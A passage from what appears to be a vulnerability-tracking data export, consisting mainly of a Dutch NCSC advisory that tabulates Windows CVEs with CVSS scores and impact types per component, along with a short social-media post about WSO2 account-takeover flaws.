|\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:36.234131Z"}, {"uuid": "fb15bb55-1c67-4ea1-9d63-bb0e3c65fe8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msimoieimb2n", "content": "WSO2 patched four critical account takeover flaws, including CVE-2026-5430 at CVSS 10 via JWT auth bypass. Details and fixes inside.\n\n#WSO2 #AccountTakeover #CVE #APIsecurity #CyberSecurity", "creation_timestamp": "2026-08-07T13:05:34.871245Z"}, {"uuid": "63fc233c-494f-4ff1-8bc3-c82e8cf31a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              